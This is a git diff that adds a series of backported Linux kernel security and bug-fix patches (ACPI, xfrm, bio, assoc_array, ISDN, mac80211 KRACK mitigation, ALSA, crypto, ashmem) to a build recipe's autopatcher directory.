1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0271-7f377fc40089-x86acpi Prevent out of bound access caused by broken ACPI tables.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0271-7f377fc40089-x86acpi Prevent out of bound access caused by broken ACPI tables.patch new file mode 100644 index 0000000..4e409c3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0271-7f377fc40089-x86acpi Prevent out of bound access caused by broken ACPI tables.patch @@ -0,0 +1,51 @@ +From 7f377fc4008980278edbfd9d70ef9aa91ffa8448 Mon Sep 17 00:00:00 2001 +From: Seunghun Han +Date: Tue, 18 Jul 2017 20:03:51 +0900 +Subject: x86/acpi: Prevent out of bound access caused by broken ACPI tables + +commit dad5ab0db8deac535d03e3fe3d8f2892173fa6a4 upstream. + +The bus_irq argument of mp_override_legacy_irq() is used as the index into +the isa_irq_to_gsi[] array. The bus_irq argument originates from +ACPI_MADT_TYPE_IO_APIC and ACPI_MADT_TYPE_INTERRUPT items in the ACPI +tables, but is nowhere sanity checked. + +That allows broken or malicious ACPI tables to overwrite memory, which +might cause malfunction, panic or arbitrary code execution. + +Add a sanity check and emit a warning when that triggers. + +[ tglx: Added warning and rewrote changelog ] + +Signed-off-by: Seunghun Han +Signed-off-by: Thomas Gleixner +Cc: security@kernel.org +Cc: "Rafael J. Wysocki" +Signed-off-by: Ingo Molnar +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/acpi/boot.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/arch/x86/kernel/acpi/boot.c b/arch/x86/kernel/acpi/boot.c +index a3eadfdc3e047..690a25967a104 100644 +--- a/arch/x86/kernel/acpi/boot.c ++++ b/arch/x86/kernel/acpi/boot.c +@@ -315,6 +315,14 @@ static void __init mp_override_legacy_irq(u8 bus_irq, u8 polarity, u8 trigger, + int pin; + struct mpc_intsrc mp_irq; + ++ /* ++ * Check bus_irq boundary. ++ */ ++ if (bus_irq >= NR_IRQS_LEGACY) { ++ pr_warn("Invalid bus_irq %u for legacy override\n", bus_irq); ++ return; ++ } ++ + /* + * Convert 'gsi' to 'ioapic.pin'. + */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0272-7bab09631c2a-xfrm policy check policy direction value.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0272-7bab09631c2a-xfrm policy check policy direction value.patch new file mode 100644 index 0000000..02ab59b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0272-7bab09631c2a-xfrm policy check policy direction value.patch @@ -0,0 +1,44 @@ +From 7bab09631c2a303f87a7eb7e3d69e888673b9b7e Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Wed, 2 Aug 2017 19:50:14 +0200 +Subject: xfrm: policy: check policy direction value + +The 'dir' parameter in xfrm_migrate() is a user-controlled byte which is used +as an array index. This can lead to an out-of-bound access, kernel lockup and +DoS. Add a check for the 'dir' value. + +This fixes CVE-2017-11600. + +References: https://bugzilla.redhat.com/show_bug.cgi?id=1474928 +Fixes: 80c9abaabf42 ("[XFRM]: Extension for dynamic update of endpoint address(es)") +Cc: # v2.6.21-rc1 +Reported-by: "bo Zhang" +Signed-off-by: Vladis Dronov +Signed-off-by: Steffen Klassert +--- + net/xfrm/xfrm_policy.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/net/xfrm/xfrm_policy.c b/net/xfrm/xfrm_policy.c +index ff61d8557929..6f5a0dad502f 100644 +--- a/net/xfrm/xfrm_policy.c ++++ b/net/xfrm/xfrm_policy.c +@@ -3308,9 +3308,15 @@ int xfrm_migrate(const struct xfrm_selector *sel, u8 dir, u8 type, + struct xfrm_state *x_new[XFRM_MAX_DEPTH]; + struct xfrm_migrate *mp; + ++ /* Stage 0 - sanity checks */ + if ((err = xfrm_migrate_check(m, num_migrate)) < 0) + goto out; + ++ if (dir >= XFRM_POLICY_MAX) { ++ err = -EINVAL; ++ goto out; ++ } ++ + /* Stage 1 - find policy */ + if ((pol = xfrm_migrate_policy_find(sel, dir, type, net)) == NULL) { + err = -ENOENT; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0273-d7795bf6a9d8-fix unbalanced page refcounting in biomapuseriov.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0273-d7795bf6a9d8-fix unbalanced page refcounting in biomapuseriov.patch new file mode 100644 index 0000000..d3debdb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0273-d7795bf6a9d8-fix unbalanced page refcounting in biomapuseriov.patch @@ -0,0 +1,48 @@ +From d7795bf6a9d8b004dbbd1f081f3eff18ff49276d Mon Sep 17 00:00:00 2001 +From: Vitaly Mayatskikh +Date: Fri, 22 Sep 2017 01:18:39 -0400 +Subject: fix unbalanced page refcounting in bio_map_user_iov + +commit 95d78c28b5a85bacbc29b8dba7c04babb9b0d467 upstream. + +bio_map_user_iov and bio_unmap_user do unbalanced pages refcounting if +IO vector has small consecutive buffers belonging to the same page. +bio_add_pc_page merges them into one, but the page reference is never +dropped. + +Signed-off-by: Vitaly Mayatskikh +Signed-off-by: Al Viro +Signed-off-by: Greg Kroah-Hartman +--- + block/bio.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/block/bio.c b/block/bio.c +index 78803e99c154..140c45b2b717 100644 +--- a/block/bio.c ++++ b/block/bio.c +@@ -1338,6 +1338,7 @@ static struct bio *__bio_map_user_iov(struct request_queue *q, + offset = uaddr & ~PAGE_MASK; + for (j = cur_page; j < page_limit; j++) { + unsigned int bytes = PAGE_SIZE - offset; ++ unsigned short prev_bi_vcnt = bio->bi_vcnt; + + if (len <= 0) + break; +@@ -1352,6 +1353,13 @@ static struct bio *__bio_map_user_iov(struct request_queue *q, + bytes) + break; + ++ /* ++ * check if vector was merged with previous ++ * drop page reference if needed ++ */ ++ if (bio->bi_vcnt == prev_bi_vcnt) ++ put_page(pages[j]); ++ + len -= bytes; + offset = 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0274-38dc93fa8402-assocarray Fix a buggy nodesplitting case.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0274-38dc93fa8402-assocarray Fix a buggy nodesplitting case.patch new file mode 100644 index 0000000..3ab125c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0274-38dc93fa8402-assocarray Fix a buggy nodesplitting case.patch @@ -0,0 +1,124 @@ +From 38dc93fa84026ef8711827fb7063744e7197b887 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Wed, 11 Oct 2017 23:32:27 +0100 +Subject: assoc_array: Fix a buggy node-splitting case + +commit ea6789980fdaa610d7eb63602c746bf6ec70cd2b upstream. + +This fixes CVE-2017-12193. + +Fix a case in the assoc_array implementation in which a new leaf is +added that needs to go into a node that happens to be full, where the +existing leaves in that node cluster together at that level to the +exclusion of new leaf. + +What needs to happen is that the existing leaves get moved out to a new +node, N1, at level + 1 and the existing node needs replacing with one, +N0, that has pointers to the new leaf and to N1. + +The code that tries to do this gets this wrong in two ways: + + (1) The pointer that should've pointed from N0 to N1 is set to point + recursively to N0 instead. + + (2) The backpointer from N0 needs to be set correctly in the case N0 is + either the root node or reached through a shortcut. + +Fix this by removing this path and using the split_node path instead, +which achieves the same end, but in a more general way (thanks to Eric +Biggers for spotting the redundancy). + +The problem manifests itself as: + + BUG: unable to handle kernel NULL pointer dereference at 0000000000000010 + IP: assoc_array_apply_edit+0x59/0xe5 + +Fixes: 3cb989501c26 ("Add a generic associative array implementation.") +Reported-and-tested-by: WU Fan +Signed-off-by: David Howells +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + lib/assoc_array.c | 51 +++++++++++++++++---------------------------------- + 1 file changed, 17 insertions(+), 34 deletions(-) + +diff --git a/lib/assoc_array.c b/lib/assoc_array.c +index 03a77f4740c1..0d122543bd63 100644 +--- a/lib/assoc_array.c ++++ b/lib/assoc_array.c +@@ -597,21 +597,31 @@ static bool assoc_array_insert_into_terminal_node(struct assoc_array_edit *edit, + if ((edit->segment_cache[ASSOC_ARRAY_FAN_OUT] ^ base_seg) == 0) + goto all_leaves_cluster_together; + +- /* Otherwise we can just insert a new node ahead of the old +- * one. ++ /* Otherwise all the old leaves cluster in the same slot, but ++ * the new leaf wants to go into a different slot - so we ++ * create a new node (n0) to hold the new leaf and a pointer to ++ * a new node (n1) holding all the old leaves. ++ * ++ * This can be done by falling through to the node splitting ++ * path. + */ +- goto present_leaves_cluster_but_not_new_leaf; ++ pr_devel("present leaves cluster but not new leaf\n"); + } + + split_node: + pr_devel("split node\n"); + +- /* We need to split the current node; we know that the node doesn't +- * simply contain a full set of leaves that cluster together (it +- * contains meta pointers and/or non-clustering leaves). ++ /* We need to split the current node. The node must contain anything ++ * from a single leaf (in the one leaf case, this leaf will cluster ++ * with the new leaf) and the rest meta-pointers, to all leaves, some ++ * of which may cluster. ++ * ++ * It won't contain the case in which all the current leaves plus the ++ * new leaves want to cluster in the same slot. + * + * We need to expel at least two leaves out of a set consisting of the +- * leaves in the node and the new leaf. ++ * leaves in the node and the new leaf. The current meta pointers can ++ * just be copied as they shouldn't cluster with any of the leaves. + * + * We need a new node (n0) to replace the current one and a new node to + * take the expelled nodes (n1). +@@ -716,33 +726,6 @@ found_slot_for_multiple_occupancy: + pr_devel("<--%s() = ok [split node]\n", __func__); + return true; + +-present_leaves_cluster_but_not_new_leaf: +- /* All the old leaves cluster in the same slot, but the new leaf wants +- * to go into a different slot, so we create a new node to hold the new +- * leaf and a pointer to a new node holding all the old leaves. +- */ +- pr_devel("present leaves cluster but not new leaf\n"); +- +- new_n0->back_pointer = node->back_pointer; +- new_n0->parent_slot = node->parent_slot; +- new_n0->nr_leaves_on_branch = node->nr_leaves_on_branch; +- new_n1->back_pointer = assoc_array_node_to_ptr(new_n0); +- new_n1->parent_slot = edit->segment_cache[0]; +- new_n1->nr_leaves_on_branch = node->nr_leaves_on_branch; +- edit->adjust_count_on = new_n0; +- +- for (i = 0; i < ASSOC_ARRAY_FAN_OUT; i++) +- new_n1->slots[i] = node->slots[i]; +- +- new_n0->slots[edit->segment_cache[0]] = assoc_array_node_to_ptr(new_n0); +- edit->leaf_p = &new_n0->slots[edit->segment_cache[ASSOC_ARRAY_FAN_OUT]]; +- +- edit->set[0].ptr = &assoc_array_ptr_to_node(node->back_pointer)->slots[node->parent_slot]; +- edit->set[0].to = assoc_array_node_to_ptr(new_n0); +- edit->excised_meta[0] = assoc_array_node_to_ptr(node); +- pr_devel("<--%s() = ok [insert node before]\n", __func__); +- return true; +- + all_leaves_cluster_together: + /* All the leaves, new and old, want to cluster together in this node + * in the same slot, so we have to replace this node with a shortcut to +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0275-4cb1585c473e-isdni4l fix buffer overflow.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0275-4cb1585c473e-isdni4l fix buffer overflow.patch new file mode 100644 index 0000000..7cb3f0c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0275-4cb1585c473e-isdni4l fix buffer overflow.patch @@ -0,0 +1,57 @@ +From 4cb1585c473ec9a5a98104e79ed07cee7de3729e Mon Sep 17 00:00:00 2001 +From: Annie Cherkaev +Date: Sat, 15 Jul 2017 15:08:58 -0600 +Subject: isdn/i4l: fix buffer overflow + +commit 9f5af546e6acc30f075828cb58c7f09665033967 upstream. + +This fixes a potential buffer overflow in isdn_net.c caused by an +unbounded strcpy. + +[ ISDN seems to be effectively unmaintained, and the I4L driver in + particular is long deprecated, but in case somebody uses this.. + - Linus ] + +Signed-off-by: Jiten Thakkar +Signed-off-by: Annie Cherkaev +Cc: Karsten Keil +Cc: Kees Cook +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + drivers/isdn/i4l/isdn_common.c | 1 + + drivers/isdn/i4l/isdn_net.c | 5 ++--- + 2 files changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/isdn/i4l/isdn_common.c b/drivers/isdn/i4l/isdn_common.c +index 9b856e1890d1..e4c43a17b333 100644 +--- a/drivers/isdn/i4l/isdn_common.c ++++ b/drivers/isdn/i4l/isdn_common.c +@@ -1379,6 +1379,7 @@ isdn_ioctl(struct file *file, uint cmd, ulong arg) + if (arg) { + if (copy_from_user(bname, argp, sizeof(bname) - 1)) + return -EFAULT; ++ bname[sizeof(bname)-1] = 0; + } else + return -EINVAL; + ret = mutex_lock_interruptible(&dev->mtx); +diff --git a/drivers/isdn/i4l/isdn_net.c b/drivers/isdn/i4l/isdn_net.c +index 94affa5e6f28..6d1173dbccba 100644 +--- a/drivers/isdn/i4l/isdn_net.c ++++ b/drivers/isdn/i4l/isdn_net.c +@@ -2644,10 +2644,9 @@ isdn_net_newslave(char *parm) + char newname[10]; + + if (p) { +- /* Slave-Name MUST not be empty */ +- if (!strlen(p + 1)) ++ /* Slave-Name MUST not be empty or overflow 'newname' */ ++ if (strscpy(newname, p + 1, sizeof(newname)) <= 0) + return NULL; +- strcpy(newname, p + 1); + *p = 0; + /* Master must already exist */ + if (!(n = isdn_net_findif(parm))) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0276-6891c6fd2a50-mac80211 accept key reinstall without changing anything.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0276-6891c6fd2a50-mac80211 accept key reinstall without changing anything.patch new file mode 100644 index 0000000..6ca0be8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0276-6891c6fd2a50-mac80211 accept key reinstall without changing anything.patch @@ -0,0 +1,84 @@ +From 6891c6fd2a500d1f39d1426765f610bdc2c2a39d Mon Sep 17 00:00:00 2001 +From: Johannes Berg +Date: Tue, 5 Sep 2017 14:54:54 +0200 +Subject: mac80211: accept key reinstall without changing anything + +commit fdf7cb4185b60c68e1a75e61691c4afdc15dea0e upstream. + +When a key is reinstalled we can reset the replay counters +etc. which can lead to nonce reuse and/or replay detection +being impossible, breaking security properties, as described +in the "KRACK attacks". + +In particular, CVE-2017-13080 applies to GTK rekeying that +happened in firmware while the host is in D3, with the second +part of the attack being done after the host wakes up. In +this case, the wpa_supplicant mitigation isn't sufficient +since wpa_supplicant doesn't know the GTK material. + +In case this happens, simply silently accept the new key +coming from userspace but don't take any action on it since +it's the same key; this keeps the PN replay counters intact. + +Signed-off-by: Johannes Berg +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + net/mac80211/key.c | 20 +++++++++++++++++--- + 1 file changed, 17 insertions(+), 3 deletions(-) + +diff --git a/net/mac80211/key.c b/net/mac80211/key.c +index 94368404744b..8f794436b028 100644 +--- a/net/mac80211/key.c ++++ b/net/mac80211/key.c +@@ -4,6 +4,7 @@ + * Copyright 2006-2007 Jiri Benc + * Copyright 2007-2008 Johannes Berg + * Copyright 2013-2014 Intel Mobile Communications GmbH ++ * Copyright 2017 Intel Deutschland GmbH + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as +@@ -485,9 +486,6 @@ int ieee80211_key_link(struct ieee80211_key *key, + + pairwise = key->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE; + idx = key->conf.keyidx; +- key->local = sdata->local; +- key->sdata = sdata; +- key->sta = sta; + + mutex_lock(&sdata->local->key_mtx); + +@@ -498,6 +496,21 @@ int ieee80211_key_link(struct ieee80211_key *key, + else + old_key = key_mtx_dereference(sdata->local, sdata->keys[idx]); + ++ /* ++ * Silently accept key re-installation without really installing the ++ * new version of the key to avoid nonce reuse or replay issues. ++ */ ++ if (old_key && key->conf.keylen == old_key->conf.keylen && ++ !memcmp(key->conf.key, old_key->conf.key, key->conf.keylen)) { ++ ieee80211_key_free_unused(key); ++ ret = 0; ++ goto out; ++ } ++ ++ key->local = sdata->local; ++ key->sdata = sdata; ++ key->sta = sta; ++ + increment_tailroom_need_count(sdata); + + ieee80211_key_replace(sdata, sta, pairwise, old_key, key); +@@ -513,6 +526,7 @@ int ieee80211_key_link(struct ieee80211_key *key, + ret = 0; + } + ++ out: + mutex_unlock(&sdata->local->key_mtx); + + return ret; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0277-32025b5c5860-mac80211 use constant time comparison with keys.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0277-32025b5c5860-mac80211 use constant time comparison with keys.patch new file mode 100644 index 0000000..4357756 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0277-32025b5c5860-mac80211 use constant time comparison with keys.patch @@ -0,0 +1,42 @@ +From 32025b5c58605cdc0552d7976d010f10fa13f28a Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Tue, 17 Oct 2017 20:32:07 +0200 +Subject: mac80211: use constant time comparison with keys + +commit 2bdd713b92a9cade239d3c7d15205a09f556624d upstream. + +Otherwise we risk leaking information via timing side channel. + +Fixes: fdf7cb4185b6 ("mac80211: accept key reinstall without changing anything") +Signed-off-by: Jason A. Donenfeld +Signed-off-by: Johannes Berg +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + net/mac80211/key.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/mac80211/key.c b/net/mac80211/key.c +index 8f794436b028..54dfbaac8be6 100644 +--- a/net/mac80211/key.c ++++ b/net/mac80211/key.c +@@ -19,6 +19,7 @@ + #include + #include + #include ++#include + #include + #include "ieee80211_i.h" + #include "driver-ops.h" +@@ -501,7 +502,7 @@ int ieee80211_key_link(struct ieee80211_key *key, + * new version of the key to avoid nonce reuse or replay issues. + */ + if (old_key && key->conf.keylen == old_key->conf.keylen && +- !memcmp(key->conf.key, old_key->conf.key, key->conf.keylen)) { ++ !crypto_memneq(key->conf.key, old_key->conf.key, key->conf.keylen)) { + ieee80211_key_free_unused(key); + ret = 0; + goto out; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0278-241d7ab10370-mac80211 dont compare TKIP TX MIC key in reinstall prevention.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0278-241d7ab10370-mac80211 dont compare TKIP TX MIC key in reinstall prevention.patch new file mode 100644 index 0000000..b6f908e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0278-241d7ab10370-mac80211 dont compare TKIP TX MIC key in reinstall prevention.patch @@ -0,0 +1,82 @@ +From 241d7ab103703ef4060ff205aed0643378d013a1 Mon Sep 17 00:00:00 2001 +From: Johannes Berg +Date: Tue, 24 Oct 2017 21:12:13 +0200 +Subject: mac80211: don't compare TKIP TX MIC key in reinstall prevention + +commit cfbb0d90a7abb289edc91833d0905931f8805f12 upstream. + +For the reinstall prevention, the code I had added compares the +whole key. It turns out though that iwlwifi firmware doesn't +provide the TKIP TX MIC key as it's not needed in client mode, +and thus the comparison will always return false. + +For client mode, thus always zero out the TX MIC key part before +doing the comparison in order to avoid accepting the reinstall +of the key with identical encryption and RX MIC key, but not the +same TX MIC key (since the supplicant provides the real one.) + +Fixes: fdf7cb4185b6 ("mac80211: accept key reinstall without changing anything") +Signed-off-by: Johannes Berg +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + net/mac80211/key.c | 36 ++++++++++++++++++++++++++++++++++-- + 1 file changed, 34 insertions(+), 2 deletions(-) + +diff --git a/net/mac80211/key.c b/net/mac80211/key.c +index 54dfbaac8be6..375ff902a142 100644 +--- a/net/mac80211/key.c ++++ b/net/mac80211/key.c +@@ -476,6 +476,39 @@ void ieee80211_key_free_unused(struct ieee80211_key *key) + ieee80211_key_free_common(key); + } + ++static bool ieee80211_key_identical(struct ieee80211_sub_if_data *sdata, ++ struct ieee80211_key *old, ++ struct ieee80211_key *new) ++{ ++ u8 tkip_old[WLAN_KEY_LEN_TKIP], tkip_new[WLAN_KEY_LEN_TKIP]; ++ u8 *tk_old, *tk_new; ++ ++ if (!old || new->conf.keylen != old->conf.keylen) ++ return false; ++ ++ tk_old = old->conf.key; ++ tk_new = new->conf.key; ++ ++ /* ++ * In station mode, don't compare the TX MIC key, as it's never used ++ * and offloaded rekeying may not care to send it to the host. This ++ * is the case in iwlwifi, for example. ++ */ ++ if (sdata->vif.type == NL80211_IFTYPE_STATION && ++ new->conf.cipher == WLAN_CIPHER_SUITE_TKIP && ++ new->conf.keylen == WLAN_KEY_LEN_TKIP && ++ !(new->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE)) { ++ memcpy(tkip_old, tk_old, WLAN_KEY_LEN_TKIP); ++ memcpy(tkip_new, tk_new, WLAN_KEY_LEN_TKIP); ++ memset(tkip_old + NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY, 0, 8); ++ memset(tkip_new + NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY, 0, 8); ++ tk_old = tkip_old; ++ tk_new = tkip_new; ++ } ++ ++ return !crypto_memneq(tk_old, tk_new, new->conf.keylen); ++} ++ + int ieee80211_key_link(struct ieee80211_key *key, + struct ieee80211_sub_if_data *sdata, + struct sta_info *sta) +@@ -501,8 +534,7 @@ int ieee80211_key_link(struct ieee80211_key *key, + * Silently accept key re-installation without really installing the + * new version of the key to avoid nonce reuse or replay issues. + */ +- if (old_key && key->conf.keylen == old_key->conf.keylen && +- !crypto_memneq(key->conf.key, old_key->conf.key, key->conf.keylen)) { ++ if (ieee80211_key_identical(sdata, old_key, key)) { + ieee80211_key_free_unused(key); + ret = 0; + goto out; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0279-d7a258c32a26-ALSA timer Code cleanup.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0279-d7a258c32a26-ALSA timer Code cleanup.patch new file mode 100644 index 0000000..3d6c8c9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0279-d7a258c32a26-ALSA timer Code cleanup.patch @@ -0,0 +1,102 @@ +From d7a258c32a26a8c66c4a062dbc0d752ef692eae4 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Thu, 14 Jan 2016 17:01:46 +0100 +Subject: ALSA: timer: Code cleanup + +[ Upstream commit c3b1681375dc6e71d89a3ae00cc3ce9e775a8917 ] + +This is a minor code cleanup without any functional changes: +- Kill keep_flag argument from _snd_timer_stop(), as all callers pass + only it false. +- Remove redundant NULL check in _snd_timer_stop(). + +Signed-off-by: Takashi Iwai +Signed-off-by: Sasha Levin +--- + sound/core/timer.c | 28 +++++++++++----------------- + 1 file changed, 11 insertions(+), 17 deletions(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index f484c64364655..2545b6982dfc6 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -301,8 +301,7 @@ int snd_timer_open(struct snd_timer_instance **ti, + return 0; + } + +-static int _snd_timer_stop(struct snd_timer_instance *timeri, +- int keep_flag, int event); ++static int _snd_timer_stop(struct snd_timer_instance *timeri, int event); + + /* + * close a timer instance +@@ -344,7 +343,7 @@ int snd_timer_close(struct snd_timer_instance *timeri) + spin_unlock_irq(&timer->lock); + mutex_lock(®ister_mutex); + list_del(&timeri->open_list); +- if (timer && list_empty(&timer->open_list_head) && ++ if (list_empty(&timer->open_list_head) && + timer->hw.close) + timer->hw.close(timer); + /* remove slave links */ +@@ -484,8 +483,7 @@ int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) + return result; + } + +-static int _snd_timer_stop(struct snd_timer_instance * timeri, +- int keep_flag, int event) ++static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) + { + struct snd_timer *timer; + unsigned long flags; +@@ -494,13 +492,11 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, + return -ENXIO; + + if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { +- if (!keep_flag) { +- spin_lock_irqsave(&slave_active_lock, flags); +- timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; +- list_del_init(&timeri->ack_list); +- list_del_init(&timeri->active_list); +- spin_unlock_irqrestore(&slave_active_lock, flags); +- } ++ spin_lock_irqsave(&slave_active_lock, flags); ++ timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; ++ list_del_init(&timeri->ack_list); ++ list_del_init(&timeri->active_list); ++ spin_unlock_irqrestore(&slave_active_lock, flags); + goto __end; + } + timer = timeri->timer; +@@ -521,9 +517,7 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, + } + } + } +- if (!keep_flag) +- timeri->flags &= +- ~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START); ++ timeri->flags &= ~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START); + spin_unlock_irqrestore(&timer->lock, flags); + __end: + if (event != SNDRV_TIMER_EVENT_RESOLUTION) +@@ -542,7 +536,7 @@ int snd_timer_stop(struct snd_timer_instance *timeri) + unsigned long flags; + int err; + +- err = _snd_timer_stop(timeri, 0, SNDRV_TIMER_EVENT_STOP); ++ err = _snd_timer_stop(timeri, SNDRV_TIMER_EVENT_STOP); + if (err < 0) + return err; + timer = timeri->timer; +@@ -586,7 +580,7 @@ int snd_timer_continue(struct snd_timer_instance *timeri) + */ + int snd_timer_pause(struct snd_timer_instance * timeri) + { +- return _snd_timer_stop(timeri, 0, SNDRV_TIMER_EVENT_PAUSE); ++ return _snd_timer_stop(timeri, SNDRV_TIMER_EVENT_PAUSE); + } + + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0280-36c84b22ac8a-crypto algifskcipher Load TX SG list after waiting.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0280-36c84b22ac8a-crypto algifskcipher Load TX SG list after waiting.patch new file mode 100644 index 0000000..47a8c37 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0280-36c84b22ac8a-crypto algifskcipher Load TX SG list after waiting.patch @@ -0,0 +1,57 @@ +From 36c84b22ac8aa041cbdfbe48a55ebb32e3521704 Mon Sep 17 00:00:00 2001 +From: Herbert Xu +Date: Mon, 18 Jan 2016 18:46:10 +0800 +Subject: crypto: algif_skcipher - Load TX SG list after waiting + +commit 4f0414e54e4d1893c6f08260693f8ef84c929293 upstream. + +We need to load the TX SG list in sendmsg(2) after waiting for +incoming data, not before. + +[connoro@google.com: backport to 3.18, where the relevant logic is +located in skcipher_recvmsg() rather than skcipher_recvmsg_sync()] + +Reported-by: Dmitry Vyukov +Signed-off-by: Herbert Xu +Tested-by: Dmitry Vyukov +Signed-off-by: Connor O'Brien +Signed-off-by: Greg Kroah-Hartman +--- + crypto/algif_skcipher.c | 14 +++++++------- + 1 file changed, 7 insertions(+), 7 deletions(-) + +diff --git a/crypto/algif_skcipher.c b/crypto/algif_skcipher.c +index fd1967ecc9289..110970be07165 100644 +--- a/crypto/algif_skcipher.c ++++ b/crypto/algif_skcipher.c +@@ -448,13 +448,6 @@ static int skcipher_recvmsg(struct kiocb *unused, struct socket *sock, + char __user *from = iov->iov_base; + + while (seglen) { +- sgl = list_first_entry(&ctx->tsgl, +- struct skcipher_sg_list, list); +- sg = sgl->sg; +- +- while (!sg->length) +- sg++; +- + used = ctx->used; + if (!used) { + err = skcipher_wait_for_data(sk, flags); +@@ -476,6 +469,13 @@ static int skcipher_recvmsg(struct kiocb *unused, struct socket *sock, + if (!used) + goto free; + ++ sgl = list_first_entry(&ctx->tsgl, ++ struct skcipher_sg_list, list); ++ sg = sgl->sg; ++ ++ while (!sg->length) ++ sg++; ++ + ablkcipher_request_set_crypt(&ctx->req, sg, + ctx->rsgl.sg, used, + ctx->iv); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0281-6dc42f889217-staging android ashmem fix a race condition in ASHMEMSETSIZE.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0281-6dc42f889217-staging android ashmem fix a race condition in ASHMEMSETSIZE.patch new file mode 100644 index 0000000..762dc3a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0281-6dc42f889217-staging android ashmem fix a race condition in ASHMEMSETSIZE.patch @@ -0,0 +1,41 @@ +From 6dc42f889217a0a077bc75c6fa5239ade762fff4 Mon Sep 17 00:00:00 2001 +From: Viktor Slavkovic +Date: Mon, 8 Jan 2018 10:43:03 -0800 +Subject: staging: android: ashmem: fix a race condition in ASHMEM_SET_SIZE + ioctl + +commit 443064cb0b1fb4569fe0a71209da7625129fb760 upstream. + +A lock-unlock is missing in ASHMEM_SET_SIZE ioctl which can result in a +race condition when mmap is called. After the !asma->file check, before +setting asma->size, asma->file can be set in mmap. That would result in +having different asma->size than the mapped memory size. Combined with +ASHMEM_UNPIN ioctl and shrinker invocation, this can result in memory +corruption. + +Signed-off-by: Viktor Slavkovic +Signed-off-by: Greg Kroah-Hartman +--- + drivers/staging/android/ashmem.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/staging/android/ashmem.c b/drivers/staging/android/ashmem.c +index 658d640022be0..8b0211d7d7a63 100644 +--- a/drivers/staging/android/ashmem.c ++++ b/drivers/staging/android/ashmem.c +@@ -759,10 +759,12 @@ static long ashmem_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + break; + case ASHMEM_SET_SIZE: + ret = -EINVAL; ++ mutex_lock(&ashmem_mutex); + if (!asma->file) { + ret = 0; + asma->size = (size_t) arg; + } ++ mutex_unlock(&ashmem_mutex); + break; + case ASHMEM_GET_SIZE: + ret = asma->size; +-- 